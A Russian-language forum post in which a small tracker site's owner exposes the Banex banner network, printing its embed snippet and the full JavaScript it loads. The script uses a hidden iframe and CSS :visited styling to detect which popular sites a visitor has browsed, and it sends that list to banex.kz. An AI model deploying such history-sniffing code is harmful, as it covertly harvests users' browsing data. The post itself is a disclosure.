Всем привет, буду короток и ясен. Имеем партнерку (точнее партнерка имеет нас)
Всем участникам банерки под кат
Ну есть трекер маленький в казнете, живет, никому не мешает, крутится помаленьку. Надо набрать пользователей побольше да с каналом потолще, поэтому решили покрутиться в банерках родных.
Регнулись на банексе, банеры крутятся, пользователи вроде как кликают, а вот позиции в поисковиках проседают. И внешние ссылки какие то левые появились... Все скрипты облазили -чисто и комфортно, но осадок то есть. Ставим файрбаг, глазеем откуда зло притаилось
а там:
Все не влезло просто. Смотрим код, который дали ребята из банекса
<!-- BANEX - Баннерообменная сеть --> <script type="text/javascript" src="http://js.banex.kz/my/opt.js"></script> <script language="JavaScript" type="text/javascript"> <!-- user = Psi(); var nocache = Date.parse(new Date()); var js_referer = encodeURIComponent(document.referrer); var psi = user.opt(); var html = '<iframe src="http://www.banex.kz/banner.php?id=1394&js_referer='+js_referer+'&psi='+psi+'&nocache='+nocache+'" width="468" height="60" marginwidth="0" marginheight="0" hspace="0" vspace="0" scrolling="no" frameborder="0" noresize=""></iframe>'; document.write(html); //--> </script> <!-- BANEX - Баннерообменная сеть -->
Ну дали и дали, умнички. Без задней мысли смотри что есть по адресу http://js.banex.kz/my/opt.js
а там ебааааа
Ну и кому интересно в текстовом формате, пока не прибили плюшку эту
var iframe__=false; //îí íå îò ìèðà ñåãî var FF=/a/[-1]=='a'; var Psi=function(moreSites){var sites={"24open_r":["http://24open.ru"],"adobe":["http://adobe.com"],"amazon":["http://amazon.com"],"aol":["http://aol.com"],"apple":["http://apple.com"],"balans_k":["http://balans.kz"],"bbc":["http://bbc.co.uk"],"birge_k":["http://birge.kz"],"blogger":["http://blogger.com"],"depositfiles.com":["http://depositfiles.com"],"digg.com":["http://digg.com"],"ebay.com":["http://ebay.com"],"facebook.com":["http://facebook.com"],"flickr.com":["http://flickr.com"],"google":["http://google.com"],"google":["http://google.ru"],"google":["http://google.ca"],"google":["http://google.de"],"google":["http://google.us"],"google":["http://google.co"],"google":["http://google.fr"],"google":["http://google.co.uk"],"google":["http://google.es"],"google":["http://google.cn"],"gmail":["http://gmail.com"],"hotmail":["http://hotmail.com"],"icq":["http://icq.com"],"karapuz_k":["http://karapuz.kz"],"kolesa_k":["http://kolesa.kz"],"last_f":["http://last.fm"],"live":["http://live.com"],"liveinternet_k":["http://liveinternet.kz"],"livejournal":["http://livejournal.com"],"ludi_k":["http://ludi.kz"],"mail_r":["http://mail.ru"],"my_mail_r":["http://my_mail.ru"],"mama_k":["http://mama.kz"],"microsoft":["http://microsoft.com"],"myfriend_k":["http://myfriend.kz"],"myspace":["http://myspace.com"],"msn":["http://msn.com"],"mtv":["http://mtv.com"],"narod_r":["http://narod.ru"],"nevestushka_k":["http://nevestushka.kz"],"odnoklasniki_r":["http://odnoklasniki.ru"],"omega_k":["http://omega.kz"],"paypal.com":["http://paypal.com"],"podruga_k":["http://podruga.kz"],"rapidshare":["http://rapidshare.com"],"real":["http://real.com"],"sourceforge":["http://sourceforge.net"],"yahoo":["http://yahoo.com"],"youtube":["http://youtube.com"],"vkontakte_r":["http://vkontakte.ru"],"vmire_k":["http://vmire.kz"],"wikipedia":["http://wikipedia.org"],"wikimedia":["http://wikimedia.org"],"woman_k":["http://woman.kz"],"woman_r":["http://woman.ru"],"wordpress":["http://wordpress.com"]}; for(var site in moreSites){if(typeof(sites[site])=="undefined")sites[site]=[];if(typeof(moreSites[site])=="string") sites[site].push(moreSites[site]);else sites[site]=sites[site].concat(moreSites[site]);} var visited={};function getStyle(el,scopeDoc,styleProp){if(el.currentStyle) var y=el.currentStyle[styleProp];else if(window.getComputedStyle) var y=scopeDoc.defaultView.getComputedStyle(el,null).getPropertyValue(styleProp);return y;} function remove(el){ if (FF && !iframe__) return; //el.parentNode.removeChild(el); if (FF) iframe__ = true; } function createIframe(){ if (FF && iframe__) return; var iframe=document.createElement("iframe"); iframe.style.position="absolute"; iframe.style.visibility="hidden";iframe.style.top="0";iframe.style.left="-2500";document.body.appendChild(iframe);if(iframe.contentDocument)iframe.doc=iframe.contentDocument;else if(iframe.contentWindow)iframe.doc=iframe.contentWindow.document;iframe.doc.open();iframe.doc.write('<style>');iframe.doc.write("a{color: #000000; display:none;}");iframe.doc.write("a:visited {color: #FF0000; display:inline;}");iframe.doc.write('</style>');iframe.doc.close();return iframe;} var iframe=createIframe();function embedLinkInIframe(href,text){var a=iframe.doc.createElement("a");a.href=href;a.innerHTML=site;iframe.doc.body.appendChild(a);} for(var site in sites){var urls=sites[site];for(var i=0;i<urls.length;i++){embedLinkInIframe(urls[i],site);if(urls[i].match(/www\./)){var sansWWW=urls[i].replace(/www\./,"");embedLinkInIframe(sansWWW,site);}else{var httpLen=urls[i].indexOf("//")+2;var withWWW=urls[i].substring(0,httpLen)+"www."+urls[i].substring(httpLen);embedLinkInIframe(withWWW,site);}}} var links=iframe.doc.body.childNodes;for(var i=0;i<links.length;i++){var displayValue=getStyle(links[i],iframe.doc,"display");var didVisit=displayValue!="none";if(didVisit){visited[links[i].innerHTML]=true;}} remove(iframe);return new(function(){var usedSites=[];for(var site in visited){usedSites.push(site);} this.opt=function(){return usedSites;} this.doesVisit=function(site){if(typeof(sites[site])=="undefined") return-1;return typeof(visited[site])!="undefined";} var checkedSites=[];for(var site in sites){checkedSites.push(site);} this.checkedSites=function(){return checkedSites;}})();}
Вобщем это пост ненависти банексу, лучи поноса и перманентной диареи им за такую раскрутку. В подтверждение можете посмотреть всех партнеров, которые там крутятся и у каждого будет такой код.
PS Из банерки свалил